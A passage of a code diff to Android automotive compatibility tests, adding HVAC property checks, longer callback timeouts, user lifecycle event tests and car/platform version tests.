+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacSeatTemperatureIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_SEAT_TEMPERATURE,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Integer.class).setPossiblyDependentOnHvacPowerOn().requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacActualFanSpeedRpmIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_ACTUAL_FAN_SPEED_RPM,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Integer.class).setPossiblyDependentOnHvacPowerOn().build().verify(
+                    mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacAutoRecircOnIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_AUTO_RECIRC_ON,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Boolean.class).setPossiblyDependentOnHvacPowerOn().build().verify(
+                    mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacSeatVentilationIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_SEAT_VENTILATION,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Integer.class).setPossiblyDependentOnHvacPowerOn().requireMinMaxValues()
+                    .requireMinValuesToBeZero().build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testHvacDualOnIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_CLIMATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HVAC_DUAL_ON,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Boolean.class).setPossiblyDependentOnHvacPowerOn().setAreaIdsVerifier(
+                    areaIds -> {
+                        CarPropertyConfig<?> hvacTempSetCarPropertyConfig =
+                                mCarPropertyManager.getCarPropertyConfig(
+                                        VehiclePropertyIds.HVAC_TEMPERATURE_SET);
+                        if (hvacTempSetCarPropertyConfig == null) {
+                            return;
+                        }
+                        ImmutableSet<Integer> hvacTempSetAreaIds = ImmutableSet.copyOf(
+                                Arrays.stream(
+                                        hvacTempSetCarPropertyConfig.getAreaIds()).boxed().collect(
+                                        Collectors.toList()));
+                        ImmutableSet.Builder<Integer> allPossibleHvacDualOnAreaIdsBuilder =
+                                ImmutableSet.builder();
+                        for (int i = 2; i <= hvacTempSetAreaIds.size(); i++) {
+                            allPossibleHvacDualOnAreaIdsBuilder.addAll(Sets.combinations(
+                                    hvacTempSetAreaIds, i).stream().map(areaIdCombo -> {
+                                Integer possibleHvacDualOnAreaId = 0;
+                                for (Integer areaId : areaIdCombo) {
+                                    possibleHvacDualOnAreaId |= areaId;
+                                }
+                                return possibleHvacDualOnAreaId;
+                            }).collect(Collectors.toList()));
+                        }
+                        ImmutableSet<Integer> allPossibleHvacDualOnAreaIds =
+                                allPossibleHvacDualOnAreaIdsBuilder.build();
+                        for (int areaId : areaIds) {
+                            assertWithMessage("HVAC_DUAL_ON area ID: " + areaId
+                                    + " must be a combination of HVAC_TEMPERATURE_SET area IDs: "
+                                    + Arrays.toString(
+                                    hvacTempSetCarPropertyConfig.getAreaIds())).that(areaId).isIn(
+                                    allPossibleHvacDualOnAreaIds);
+
+                        }
+                    }).build().verify(mCarPropertyManager);
+        });
+    }
 
     @SuppressWarnings("unchecked")
     @Test
@@ -1080,7 +2745,17 @@
 
         // Test for continuous properties
         int vehicleSpeed = VehiclePropertyIds.PERF_VEHICLE_SPEED;
-        CarPropertyEventCounter speedListenerUI = new CarPropertyEventCounter();
+        CarPropertyConfig<?> carPropertyConfig = mCarPropertyManager.getCarPropertyConfig(
+                VehiclePropertyIds.PERF_VEHICLE_SPEED);
+        float secondsToMillis = 1_000;
+        long bufferMillis = 1_000; // 1 second
+        // timeoutMillis is set to the maximum expected time needed to receive the required
+        // number of PERF_VEHICLE_SPEED events for test. If the test does not receive the
+        // required number of events before the timeout expires, it fails.
+        long timeoutMillis =
+                ((long) ((1.0f / carPropertyConfig.getMinSampleRate()) * secondsToMillis
+                        * UI_RATE_EVENT_COUNTER)) + bufferMillis;
+        CarPropertyEventCounter speedListenerUI = new CarPropertyEventCounter(timeoutMillis);
         CarPropertyEventCounter speedListenerFast = new CarPropertyEventCounter();
 
         assertThat(speedListenerUI.receivedEvent(vehicleSpeed)).isEqualTo(NO_EVENTS);
@@ -1090,22 +2765,22 @@
         assertThat(speedListenerFast.receivedError(vehicleSpeed)).isEqualTo(NO_EVENTS);
         assertThat(speedListenerFast.receivedErrorWithErrorCode(vehicleSpeed)).isEqualTo(NO_EVENTS);
 
+        speedListenerUI.resetCountDownLatch(UI_RATE_EVENT_COUNTER);
         mCarPropertyManager.registerCallback(speedListenerUI, vehicleSpeed,
                 CarPropertyManager.SENSOR_RATE_UI);
         mCarPropertyManager.registerCallback(speedListenerFast, vehicleSpeed,
                 CarPropertyManager.SENSOR_RATE_FASTEST);
-        speedListenerUI.resetCountDownLatch(UI_RATE_EVENT_COUNTER);
         speedListenerUI.assertOnChangeEventCalled();
+        mCarPropertyManager.unregisterCallback(speedListenerUI);
+        mCarPropertyManager.unregisterCallback(speedListenerFast);
+
         assertThat(speedListenerUI.receivedEvent(vehicleSpeed)).isGreaterThan(NO_EVENTS);
-        assertThat(speedListenerFast.receivedEvent(vehicleSpeed)).isGreaterThan(
+        assertThat(speedListenerFast.receivedEvent(vehicleSpeed)).isAtLeast(
                 speedListenerUI.receivedEvent(vehicleSpeed));
         // The test did not change property values, it should not get error with error codes.
         assertThat(speedListenerUI.receivedErrorWithErrorCode(vehicleSpeed)).isEqualTo(NO_EVENTS);
         assertThat(speedListenerFast.receivedErrorWithErrorCode(vehicleSpeed)).isEqualTo(NO_EVENTS);
 
-        mCarPropertyManager.unregisterCallback(speedListenerFast);
-        mCarPropertyManager.unregisterCallback(speedListenerUI);
-
         // Test for on_change properties
         int nightMode = VehiclePropertyIds.NIGHT_MODE;
         CarPropertyEventCounter nightModeListener = new CarPropertyEventCounter();
@@ -1114,7 +2789,6 @@
         nightModeListener.assertOnChangeEventCalled();
         assertThat(nightModeListener.receivedEvent(nightMode)).isEqualTo(1);
         mCarPropertyManager.unregisterCallback(nightModeListener);
-
     }
 
     @Test
@@ -1157,7 +2831,7 @@
     @Test
     public void testUnregisterWithPropertyId() throws Exception {
         // Ignores the test if wheel_tick property does not exist in the car.
-        Assume.assumeTrue("WheelTick is not available, skip unregisterCallback test",
+        assumeTrue("WheelTick is not available, skip unregisterCallback test",
                 mCarPropertyManager.isPropertyAvailable(
                         VehiclePropertyIds.WHEEL_TICK, VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL));
 
@@ -1170,7 +2844,7 @@
         int eventCounter = getCounterBySampleRate(maxSampleRateHz);
 
         // Ignores the test if sampleRates for properties are too low.
-        Assume.assumeTrue("The SampleRates for properties are too low, "
+        assumeTrue("The SampleRates for properties are too low, "
                 + "skip testUnregisterWithPropertyId test", eventCounter != 0);
         CarPropertyEventCounter speedAndWheelTicksListener = new CarPropertyEventCounter();
 
@@ -1239,6 +2913,15 @@
         private final SparseArray<Integer> mErrorWithErrorCodeCounter = new SparseArray<>();
         private int mCounter = FAST_OR_FASTEST_EVENT_COUNTER;
         private CountDownLatch mCountDownLatch = new CountDownLatch(mCounter);
+        private final long mTimeoutMillis;
+
+        CarPropertyEventCounter(long timeoutMillis) {
+            mTimeoutMillis = timeoutMillis;
+        }
+
+        CarPropertyEventCounter() {
+            this(WAIT_CALLBACK);
+        }
 
         public int receivedEvent(int propId) {
             int val;
@@ -1295,18 +2978,19 @@
         }
 
         public void assertOnChangeEventCalled() throws InterruptedException {
-            if (!mCountDownLatch.await(WAIT_CALLBACK, TimeUnit.MILLISECONDS)) {
-                throw new IllegalStateException("Callback is not called:" + mCounter + "times in "
-                        + WAIT_CALLBACK + " ms.");
+            if (!mCountDownLatch.await(mTimeoutMillis, TimeUnit.MILLISECONDS)) {
+                throw new IllegalStateException(
+                        "Callback is not called " + mCounter + "times in " + mTimeoutMillis
+                                + " ms. It was only called " + (mCounter
+                                - mCountDownLatch.getCount()) + " times.");
             }
         }
 
         public void assertOnChangeEventNotCalled() throws InterruptedException {
             // Once get an event, fail the test.
             mCountDownLatch = new CountDownLatch(1);
-            if (mCountDownLatch.await(WAIT_CALLBACK, TimeUnit.MILLISECONDS)) {
-                throw new IllegalStateException("Callback is called in "
-                        + WAIT_CALLBACK + " ms.");
+            if (mCountDownLatch.await(mTimeoutMillis, TimeUnit.MILLISECONDS)) {
+                throw new IllegalStateException("Callback is called in " + mTimeoutMillis + " ms.");
             }
         }
 
diff --git a/tests/tests/car/src/android/car/cts/CarServiceHelperServiceUpdatableTest.java b/tests/tests/car/src/android/car/cts/CarServiceHelperServiceUpdatableTest.java
index 0b744d8..3948687 100644
--- a/tests/tests/car/src/android/car/cts/CarServiceHelperServiceUpdatableTest.java
+++ b/tests/tests/car/src/android/car/cts/CarServiceHelperServiceUpdatableTest.java
@@ -25,6 +25,12 @@
 
 import android.app.UiAutomation;
 import android.car.Car;
+import android.car.annotation.ApiRequirements;
+import android.car.test.ApiCheckerRule;
+import android.car.test.ApiCheckerRule.IgnoreInvalidApi;
+import android.car.test.ApiCheckerRule.SupportedVersionTest;
+import android.car.test.ApiCheckerRule.UnsupportedVersionTest;
+import android.car.test.ApiCheckerRule.UnsupportedVersionTest.Behavior;
 import android.car.user.CarUserManager;
 import android.car.user.CarUserManager.UserLifecycleEvent;
 import android.car.user.CarUserManager.UserLifecycleListener;
@@ -32,15 +38,18 @@
 import android.os.NewUserResponse;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
+import android.os.UserHandle;
 import android.os.UserManager;
 import android.util.Log;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
 
+import com.android.compatibility.common.util.ApiTest;
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 
 import java.io.BufferedReader;
@@ -57,6 +66,11 @@
     private static final int TIMEOUT_MS = 60_000;
     private static final int WAIT_TIME_MS = 1_000;
 
+    // TODO(b/242350638): move to super class (although it would need to call
+    // disableAnnotationsCheck()
+    @Rule
+    public final ApiCheckerRule mApiCheckerRule = new ApiCheckerRule.Builder().build();
+
     @Before
     public void setUp() throws Exception {
         super.setUp();
@@ -64,45 +78,131 @@
     }
 
     @Test
+    @ApiTest(apis = {"com.android.internal.car.CarServiceHelperService#dump(PrintWriter,String[])"})
+    @IgnoreInvalidApi(reason = "Class not in classpath as it's indirectly tested using dumpsys")
+    @ApiRequirements(minCarVersion = ApiRequirements.CarVersion.TIRAMISU_0,
+            minPlatformVersion = ApiRequirements.PlatformVersion.TIRAMISU_0)
     public void testCarServiceHelperServiceDump() throws Exception {
-        assumeThat("System_server_dumper not implemented.",
-                executeShellCommand("service check system_server_dumper"),
-                containsStringIgnoringCase("system_server_dumper: found"));
+        assumeSystemServerDumpSupported();
 
         assertWithMessage("System server dumper")
                 .that(executeShellCommand("dumpsys system_server_dumper --list"))
                 .contains("CarServiceHelper");
+    }
+
+    @Test
+    @ApiTest(apis = {
+            "com.android.internal.car.CarServiceHelperServiceUpdatable#dump(PrintWriter,String[])"
+    })
+    @IgnoreInvalidApi(reason = "Class not in classpath as it's indirectly tested using dumpsys")
+    @ApiRequirements(minCarVersion = ApiRequirements.CarVersion.TIRAMISU_0,
+            minPlatformVersion = ApiRequirements.PlatformVersion.TIRAMISU_0)
+    public void testCarServiceHelperServiceDump_carServiceProxy() throws Exception {
+        assumeSystemServerDumpSupported();
 
         assertWithMessage("CarServiceHelperService dump")
                 .that(executeShellCommand("dumpsys system_server_dumper --name CarServiceHelper"))
                 .contains("CarServiceProxy");
+    }
 
-        // Test setSafeMode
-        try {
-            executeShellCommand("cmd car_service emulate-driving-state drive");
-
-            assertWithMessage("CarServiceHelperService dump")
-                    .that(executeShellCommand(
-                            "dumpsys system_server_dumper --name CarServiceHelper"))
-                    .contains("Safe to run device policy operations: false");
-        } finally {
-            executeShellCommand("cmd car_service emulate-driving-state park");
-        }
+    @Test
+    @ApiTest(apis = {
+            "com.android.internal.car.CarServiceHelperServiceUpdatable#dump(PrintWriter,String[])"
+    })
+    @IgnoreInvalidApi(reason = "Class not in classpath as it's indirectly tested using dumpsys")
+    @ApiRequirements(minCarVersion = ApiRequirements.CarVersion.TIRAMISU_0,
+            minPlatformVersion = ApiRequirements.PlatformVersion.TIRAMISU_0)
+    public void testCarServiceHelperServiceDump_serviceStacks() throws Exception {
+        assumeSystemServerDumpSupported();
 
         assertWithMessage("CarServiceHelperService dump")
-                .that(executeShellCommand("dumpsys system_server_dumper --name CarServiceHelper"))
-                .contains("Safe to run device policy operations: true");
-
-        // Test dumpServiceStacks
-        assertWithMessage("CarServiceHelperService dump")
-                .that(executeShellCommand("dumpsys system_server_dumper --name CarServiceHelper"
-                        + " --dump-service-stacks"))
+                .that(dumpCarServiceHelper("--dump-service-stacks"))
                 .contains("dumpServiceStacks ANR file path=/data/anr/anr_");
     }
 
+    @Test
+    @ApiTest(apis = {"android.car.user.CarUserManager#USER_LIFECYCLE_EVENT_TYPE_CREATED"})
+    @SupportedVersionTest(unsupportedVersionTest =
+            "testSendUserLifecycleEventAndOnUserCreated_unsupportedVersion")
+    public void testSendUserLifecycleEventAndOnUserCreated_supportedVersion() throws Exception {
+        testSendUserLifecycleEventAndOnUserCreated(/*onSupportedVersion=*/ true);
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.user.CarUserManager#USER_LIFECYCLE_EVENT_TYPE_CREATED"})
+    @UnsupportedVersionTest(behavior = Behavior.EXPECT_PASS,
+            supportedVersionTest = "testSendUserLifecycleEventAndOnUserCreated_supportedVersion")
+    public void testSendUserLifecycleEventAndOnUserCreated_unsupportedVersion() throws Exception {
+        testSendUserLifecycleEventAndOnUserCreated(/*onSupportedVersion=*/ false);
+    }
+
+    private void testSendUserLifecycleEventAndOnUserCreated(boolean onSupportedVersion)
+            throws Exception {
+        // Add listener to check if user started
+        CarUserManager carUserManager = (CarUserManager) getCar()
+                .getCarManager(Car.CAR_USER_SERVICE);
+        LifecycleListener listener = new LifecycleListener();
+        carUserManager.addListener(Runnable::run, listener);
+
+        NewUserResponse response = null;
+        UserManager userManager = null;
+        try {
+            // get create User permissions
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity(android.Manifest.permission.CREATE_USERS);
+
+            // CreateUser
+            userManager = mContext.getSystemService(UserManager.class);
+            response = userManager.createUser(new NewUserRequest.Builder().build());
+            assertThat(response.isSuccessful()).isTrue();
+
+            int userId = response.getUser().getIdentifier();
+
+            if (onSupportedVersion) {
+                listener.assertEventReceived(
+                        userId, CarUserManager.USER_LIFECYCLE_EVENT_TYPE_CREATED);
+                // check the dump stack
+                assertUserLifecycleEventLogged(
+                        CarUserManager.USER_LIFECYCLE_EVENT_TYPE_CREATED, userId);
+            } else {
+                listener.assertEventNotReceived(
+                        userId, CarUserManager.USER_LIFECYCLE_EVENT_TYPE_CREATED);
+            }
+        } finally {
+            // Clean up the user that was previously created.
+            userManager.removeUser(response.getUser());
+            carUserManager.removeListener(listener);
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+        }
+    }
+
     @FlakyTest(bugId = 222167696)
     @Test
-    public void testSendUserLifecycleEventAndOnUserRemoved() throws Exception {
+    @ApiTest(apis = {"android.car.user.CarUserManager#USER_LIFECYCLE_EVENT_TYPE_REMOVED"})
+    @SupportedVersionTest(unsupportedVersionTest =
+            "testSendUserLifecycleEventAndOnUserRemoved_unsupportedVersion")
+    public void testSendUserLifecycleEventAndOnUserRemoved_supportedVersion() throws Exception {
+        testSendUserLifecycleEventAndOnUserRemoved(/*onSupportedVersion=*/ true);
+    }
+
+    @FlakyTest(bugId = 222167696)
+    @Test
+    @ApiTest(apis = {"android.car.user.CarUserManager#USER_LIFECYCLE_EVENT_TYPE_REMOVED"})
+    @UnsupportedVersionTest(behavior = Behavior.EXPECT_PASS,
+            supportedVersionTest = "testSendUserLifecycleEventAndOnUserRemoved_supportedVersion")
+    public void testSendUserLifecycleEventAndOnUserRemoved_unsupportedVersion() throws Exception {
+        testSendUserLifecycleEventAndOnUserRemoved(/*onSupportedVersion=*/ false);
+    }
+
+    private static void assumeSystemServerDumpSupported() throws IOException {
+        assumeThat("System_server_dumper not implemented.",
+                executeShellCommand("service check system_server_dumper"),
+                containsStringIgnoringCase("system_server_dumper: found"));
+    }
+
+    private void testSendUserLifecycleEventAndOnUserRemoved(boolean onSupportedVersion)
+            throws Exception {
         // Add listener to check if user started
         CarUserManager carUserManager = (CarUserManager) getCar()
                 .getCarManager(Car.CAR_USER_SERVICE);
@@ -125,11 +225,23 @@
             int userId = response.getUser().getIdentifier();
             startUser(userId);
             listener.assertEventReceived(userId, CarUserManager.USER_LIFECYCLE_EVENT_TYPE_STARTING);
+            // check the dump stack
+            assertUserLifecycleEventLogged(CarUserManager.USER_LIFECYCLE_EVENT_TYPE_STARTING,
+                    userId);
 
             // TestOnUserRemoved call
             userRemoved = userManager.removeUser(response.getUser());
-            // check the dump stack
-            assertLastUserRemoved(userId);
+
+            if (onSupportedVersion) {
+                listener.assertEventReceived(
+                        userId, CarUserManager.USER_LIFECYCLE_EVENT_TYPE_REMOVED);
+                // check the dump stack
+                assertUserLifecycleEventLogged(
+                        CarUserManager.USER_LIFECYCLE_EVENT_TYPE_REMOVED, userId);
+            } else {
+                listener.assertEventNotReceived(
+                        userId, CarUserManager.USER_LIFECYCLE_EVENT_TYPE_REMOVED);
+            }
         } finally {
             if (!userRemoved && response != null && response.isSuccessful()) {
                 userManager.removeUser(response.getUser());
@@ -140,11 +252,17 @@
         }
     }
 
-    private void assertLastUserRemoved(int userId) throws Exception {
+    private void assertUserLifecycleEventLogged(int eventType, int userId) throws Exception {
+        assertUserLifecycleEventLogged(eventType, UserHandle.USER_NULL, userId);
+    }
+
+    private void assertUserLifecycleEventLogged(int eventType, int fromUserId, int toUserId)
+            throws Exception {
         // check for the logcat
         // TODO(b/210874444): Use logcat helper from
         // cts/tests/tests/car_builtin/src/android/car/cts/builtin/util/LogcatHelper.java
-        String match = "car_service_on_user_removed: " + userId;
+        String match = String.format("car_service_on_user_lifecycle: [%d,%d,%d]", eventType,
+                fromUserId, toUserId);
         long timeout = 60_000;
         long startTime = SystemClock.elapsedRealtime();
         UiAutomation automation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
@@ -169,6 +287,15 @@
 
     }
 
+    private String dumpCarServiceHelper(String...args) throws IOException {
+        StringBuilder cmd = new StringBuilder(
+                "dumpsys system_server_dumper --name CarServiceHelper");
+        for (String arg : args) {
+            cmd.append(' ').append(arg);
+        }
+        return executeShellCommand(cmd.toString());
+    }
+
     // TODO(214100537): Improve listener by removing sleep.
     private final class LifecycleListener implements UserLifecycleListener {
 
@@ -197,6 +324,20 @@
             fail("Event" + eventType + " was not received within timeoutMs: " + TIMEOUT_MS);
         }
 
+
+        public void assertEventNotReceived(int userId, int eventType)
+                throws InterruptedException {
+            long startTime = SystemClock.elapsedRealtime();
+            while (SystemClock.elapsedRealtime() - startTime < TIMEOUT_MS) {
+                boolean result = checkEvent(userId, eventType);
+                if (result) {
+                    fail("Event" + eventType
+                            + " was not expected but was received within timeoutMs: " + TIMEOUT_MS);
+                }
+                Thread.sleep(WAIT_TIME_MS);
+            }
+        }
+
         private boolean checkEvent(int userId, int eventType) {
             synchronized (mLock) {
                 for (int i = 0; i < mEvents.size(); i++) {
diff --git a/tests/tests/car/src/android/car/cts/CarTest.java b/tests/tests/car/src/android/car/cts/CarTest.java
index 3c9fff5..b75217d 100644
--- a/tests/tests/car/src/android/car/cts/CarTest.java
+++ b/tests/tests/car/src/android/car/cts/CarTest.java
@@ -17,26 +17,34 @@
 package android.car.cts;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.car.Car;
+import android.car.CarVersion;
+import android.car.PlatformVersion;
+import android.car.test.ApiCheckerRule;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.ServiceConnection;
 import android.content.pm.PackageManager;
 import android.os.Build;
 import android.os.IBinder;
+import android.os.SystemProperties;
 import android.platform.test.annotations.AppModeFull;
 import android.test.suitebuilder.annotation.SmallTest;
+import android.text.TextUtils;
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.ApiTest;
 import com.android.compatibility.common.util.RequiredFeatureRule;
 
 import org.junit.After;
 import org.junit.ClassRule;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -52,6 +60,9 @@
     public static final RequiredFeatureRule sRequiredFeatureRule = new RequiredFeatureRule(
             PackageManager.FEATURE_AUTOMOTIVE);
 
+    @Rule
+    public final ApiCheckerRule mApiCheckerRule = new ApiCheckerRule.Builder().build();
+
     private static final long DEFAULT_WAIT_TIMEOUT_MS = 2000;
 
     private Context mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
@@ -66,6 +77,9 @@
         }
     }
 
+    @ApiTest(apis = {
+            "android.car.Car#isConnected", "android.car.Car#isConnecting", "android.car.Car#connect"
+    })
     @Test
     public void testConnection() throws Exception {
         mServiceConnectionListener = new DefaultServiceConnectionListener();
@@ -81,24 +95,28 @@
         assertThat(mCar.isConnecting()).isFalse();
     }
 
+    @ApiTest(apis = {"android.car.Car#createCar(Context)"})
     @Test
     public void testBlockingCreateCar() throws Exception {
         mCar = Car.createCar(mContext);
         assertConnectedCar(mCar);
     }
 
+    @ApiTest(apis = {"android.car.Car#getCarConnectionType"})
     @Test
     public void testConnectionType() throws Exception {
         createCarAndRunOnReady((car) -> assertThat(car.getCarConnectionType()).isEqualTo(
                 Car.CONNECTION_TYPE_EMBEDDED));
     }
 
+    @ApiTest(apis = {"android.car.Car#isFeatureEnabled(String)"})
     @Test
     public void testIsFeatureEnabled() throws Exception {
         createCarAndRunOnReady(
                 (car) -> assertThat(car.isFeatureEnabled(Car.AUDIO_SERVICE)).isTrue());
     }
 
+    @ApiTest(apis = {"android.car.Car#createCar(Context,Handler,long,CarServiceLifecycleListener)"})
     @Test
     public void testCreateCarWaitForever() throws Exception {
         CarServiceLifecycleListenerImpl listenerImpl = new CarServiceLifecycleListenerImpl(null);
@@ -108,6 +126,7 @@
         listenerImpl.waitForReady(DEFAULT_WAIT_TIMEOUT_MS);
     }
 
+    @ApiTest(apis = {"android.car.Car#createCar(Context,Handler,long,CarServiceLifecycleListener)"})
     @Test
     public void testCreateCarNoWait() throws Exception {
         CarServiceLifecycleListenerImpl listenerImpl = new CarServiceLifecycleListenerImpl(null);
@@ -120,6 +139,8 @@
     }
 
     @Test
+    @ApiTest(apis = {"android.car.Car#isApiVersionAtLeast(int)",
+            "android.car.Car#isApiAndPlatformVersionAtLeast(int,int)"})
     public void testApiVersion() throws Exception {
         int ApiVersionTooHigh = 1000000;
         int MinorApiVersionTooHigh = 1000000;
@@ -144,6 +165,40 @@
                 Car.API_VERSION_MINOR_INT, Build.VERSION.SDK_INT + 1)).isFalse();
     }
 
+    @ApiTest(apis = {"android.car.Car#getCarVersion"})
+    @Test
+    public void testGetCarVersion() {
+        CarVersion version = Car.getCarVersion();
+
+        assertWithMessage("Car.getCarVersion()").that(version).isNotNull();
+        assertWithMessage("Car.getCarVersion().toString()").that(version.toString())
+                .contains("name=Car.CAR_VERSION");
+    }
+
+    @ApiTest(apis = {"android.car.Car#getPlatformVersion"})
+    @Test
+    public void testGetPlatformVersion() {
+        PlatformVersion version = Car.getPlatformVersion();
+
+        assertWithMessage("Car.getPlatformVersion()").that(version).isNotNull();
+        assertWithMessage("Car.getPlatformVersion().toString()").that(version.toString())
+        .contains("name=Car.PLATFORM_VERSION");
+    }
+
+    @ApiTest(apis = {"android.car.Car#getPlatformVersion"})
+    @Test
+    public void testPlatformVersionIsNotEmulated() {
+        assertSystemPropertyNotSet(Car.PROPERTY_EMULATED_PLATFORM_VERSION_MAJOR);
+        assertSystemPropertyNotSet(Car.PROPERTY_EMULATED_PLATFORM_VERSION_MINOR);
+    }
+
+    private void assertSystemPropertyNotSet(String property) {
+        String value = SystemProperties.get(property);
+        if (!TextUtils.isEmpty(value)) {
+            throw new AssertionError("Property '" + property + "' is set; value is " + value);
+        }
+    }
+
     private static void assertConnectedCar(Car car) {
         assertThat(car).isNotNull();
         assertThat(car.isConnected()).isTrue();
diff --git a/tests/tests/car/src/android/car/cts/CarVersionTest.java b/tests/tests/car/src/android/car/cts/CarVersionTest.java
new file mode 100644
index 0000000..4317a0b
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/CarVersionTest.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.car.cts;
+
+import static android.os.Build.VERSION_CODES.TIRAMISU;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.car.CarVersion;
+import android.car.annotation.ApiRequirements;
+import android.os.Parcel;
+
+import com.android.compatibility.common.util.ApiTest;
+
+import org.junit.Test;
+
+public final class CarVersionTest extends AbstractCarLessTestCase {
+
+    @Test
+    @ApiTest(apis = {"android.car.CarVersion.VERSION_CODES#TIRAMISU_0"})
+    public void testTiramisu_0() {
+        CarVersion version = CarVersion.VERSION_CODES.TIRAMISU_0;
+
+        assertWithMessage("TIRAMISU_0").that(version).isNotNull();
+        expectWithMessage("TIRAMISU_0.major").that(version.getMajorVersion())
+                .isEqualTo(TIRAMISU);
+        expectWithMessage("TIRAMISU_0.minor").that(version.getMinorVersion())
+                .isEqualTo(0);
+
+        CarVersion fromEnum = ApiRequirements.CarVersion.TIRAMISU_0.get();
+        assertWithMessage("TIRAMISU_0 from enum").that(fromEnum).isNotNull();
+        expectWithMessage("TIRAMISU_0 from enum").that(fromEnum).isSameInstanceAs(version);
+
+        String toString = version.toString();
+        expectWithMessage("TIRAMISU_0.toString()").that(toString)
+                .matches(".*CarVersion.*name=TIRAMISU_0.*major=" + TIRAMISU + ".*minor=0.*");
+        CarVersion clone = clone(version);
